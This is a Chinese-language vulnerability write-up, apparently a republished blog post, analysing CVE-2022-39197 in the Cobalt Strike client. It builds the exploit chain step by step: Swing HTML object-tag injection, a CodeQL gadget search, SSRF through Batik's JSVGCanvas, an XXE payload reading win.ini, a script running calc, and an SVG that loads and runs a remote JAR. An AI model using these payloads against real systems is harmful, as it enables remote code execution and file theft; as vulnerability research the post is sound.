CVE-2022-39197分析
2022-11-7 10:25:11 Author: 珂技知识分享(查看原文) 阅读量:37 收藏

一、    swing漏洞

大家最近一定被CobaltStrike漏洞刷屏了,我是先写了fastjson1.2.80的漏洞再去看CobaltStrike,但已经被别人分析的差不多了。
还是先拜读https://mp.weixin.qq.com/s/l5e2p_WtYSCYYhYE0lzRdQ
这个漏洞本质上是java自带的GUI组件swing的html注入。
也就是经典的<html><img src=http://1.1.1.1/1.jpg>

大家本地复现的时候可以跟我一样插在listener这个位置,就不用去伪装上线或者hook进程/文件等。
那这能造成什么危害呢?很明显是个SSRF,所以一开始的思路是java+SSRF=net-NTLM/RELAY。
也有人朝XSS方向去想,但经过分析,Swing显然不存在js组件。
因此漂亮鼠分析出了object标签进行Component对象注入,在javax.swing.text.html.ObjectView类中,我们可以找到示例代码。

<html><object classid='javax.swing.JLabel'><param name='text' value='test'></object>

在菜鸟教程里抄份Swing的代码,调一下大小,进行object注入。

package test;
import java.awt.Dimension;import javax.swing.*;public class HelloWorldSwing {
private static void createAndShowGUI() { // 确保一个漂亮的外观风格 JFrame.setDefaultLookAndFeelDecorated(true); // 创建及设置窗口 JFrame frame = new JFrame("HelloWorldSwing"); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); frame.setPreferredSize(new Dimension(800, 600)); // 添加 "Hello World" 标签 String payload = "<html><object classid='javax.swing.JLabel'><param name='text' value='test'></object>"; System.out.println(payload); JLabel label = new JLabel(payload); frame.getContentPane().add(label);
// 显示窗口 frame.pack(); frame.setVisible(true); }
public static void main(String[] args) { // 显示应用 GUI javax.swing.SwingUtilities.invokeLater(new Runnable() { public void run() { createAndShowGUI(); } }); }}

可以看到,JLabel被成功注入,与之类似的,我们可以注入各种样式的框,那么接下来的任务就是找出可以造成危害的链。

二、    寻找set链

对javax.swing.JLabel.setText()下断点,可以追踪到ObjectView.createComponent()

可以在其中看到具体的用反射实例化并调用setter的代码。

漂亮鼠的文章已经将具体需求总结好了。

那么我们可以反编译rt.jar和CobaltStrike.jar,建立codeql数据库,寻找符合条件的类和setter。由于之前找过fastjson的链,所以稍微改改就行,ql如下。

class SetMethod extends Method{    SetMethod(){        this.getDeclaringType().getASupertype*().hasQualifiedName("java.awt", "Component") and        this.getName().indexOf("set") = 0 and        this.getName().length() > 3 and        this.isPublic() and        this.fromSource() and        this.getNumberOfParameters() = 1        and this.getAParamType().getName() = "String"        and this.getTotalNumberOfLines() > 3        and this.getDeclaringType().getAConstructor().isPublic()        and this.getDeclaringType().getAConstructor().hasNoParameters()    }}
from SetMethod setMethodselect setMethod, setMethod.getDeclaringType().getPackage().getName()+"."+setMethod.getDeclaringType()


rt.jar结果如下

这个setPage是不是很熟悉?在fastjson和jackson中,曾经是个SSRF链。
不过这里用不了,稍微跟一下就会发现存在两个setPage,有一个要求传URL对象,因此会报错。不过这里不是重点,就稍微提一下。
CobaltStrike.jar结果如下。

org.apache.batik.swing.JSVGCanvas.setURI()非常可疑,也是我一开始就锁定的链,查看代码。

跟进loadSVGDocument()

可以看到明显建立了链接,并进行内容处理,从名字可以看得出来和svg有关,搜索apache batik,发现确实是svg项目。
将CobaltStrike.jar加入依赖,构造一下payload。

<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:5667'></object>

从UA可以看得出来,确实是Batik访问的,而且版本较低,我们找对了方向。

三、    svg的XSS和XXE

svg有什么危害呢?在我很久以前的XSS文章中就说了,可以XSS。但Swing似乎无法执行js,我们来试一试。
新建一个XSS.svg

<?xml version="1.0" standalone="no"?><svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">  <script>alert(1);</script></svg>
<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:81/XSS.svg'></object>

注入后发现报错

缺少的这个组件也很熟悉,在学习反序列化的时候我们接触过,是js.jar(后来似乎叫rhino),添加依赖后。

好的,我们成功获得了一个XSS,但似乎没有卵用,一来cs没有js.jar或者rhino的依赖,二来Swing中的XSS好像啥也不能做。

于是我们去搜Batik的历史漏洞,发现了它可以XXE。
https://xz.aliyun.com/t/1920/
也很容易构造出payload。

<?xml version="1.0" standalone="no"?><!DOCTYPE note [<!ENTITY file SYSTEM "file:///C:/windows/win.ini" >]><svg width="100%" height="100%" version="1.1"xmlns="http://www.w3.org/2000/svg">  <text x="10" y="20">&file;</text></svg>

java上的XXE oob限制很大,这对于RCE来说似乎还是没有什么卵用,于是我们去Batik官网上找文档,发现了一个神奇的功能。
https://xmlgraphics.apache.org/batik/using/scripting/ecmascript.html

居然可以import,尝试构造payload。

<?xml version="1.0" standalone="no"?><svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">  <script>    importPackage(Packages.java.io);    Runtime.getRuntime().exec('calc');</script></svg>

执行成功!这难道就是正确答案吗?拿去cs上试一下。

很遗憾,这个svg RCE必须js组件才行,并不能在cs中使用。还需要找到别的利用链。

四、    svg到jar

在Batik官网中,我们看到过text/ecmascript这个东西,ecmascript是什么?搜索后发现。

所以它可以理解为是JavaScript的一个标准

那么Batik还支持哪些脚本,我们在cs的反编译的源码中全局搜索一下。

随便点开一个看一眼,很快发现了一个可能的答案。

其他type本质上都是js,只有application/java-archive显得格格不入,再搜索一下代码中关于application/java-archive的处理。

org.apache.batik.bridge.BaseScriptingEnvironment.loadScripts()中发现

这不是一眼就是对jar包的处理并远程加载类吗?那么如何才能让代码走到这里呢?可以先用codeql确定一下能否走到这里。

如果纯看代码自己构造,非常繁琐,所以直接谷歌,用application/java-archive svg关键词,很快找到了我们要的答案。
https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html
甚至exploit-db和metasploit-framework也有收录。
https://www.exploit-db.com/exploits/18890
https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/batik_svg_java.rb
而这个标准至少2002年就定下的,间隔了20年的漏洞。
https://www.w3.org/TR/2002/WD-SVG11-20020215/java.html

构造payload

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100" xmlns:xlink="http://www.w3.org/1999/xlink">        <script type="application/java-archive" xlink:href="http://127.0.0.1:81/exp.jar"> </script>  </svg>

jar包如何写呢?看BaseScriptingEnvironment代码,有两种写法。
一种是实现EventListenerInitializer类,MANIFEST.MF指定SVG-Handler-Class。
一种是实现ScriptHandler类,MANIFEST.MF指定Script-Handler。
分别依赖batik-ext-1.5.jar/batik-script-1.5.jar

至此完成RCE


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485917&idx=1&sn=2dcf4a521e649a199ec6adb3d0397eed&chksm=fa9734b2cde0bda425c4611485079d68499d06f0ce45df715d7dcee5d8bf5f1eab4f0f2f88a3#rd
如有侵权请联系:admin#unsafe.sh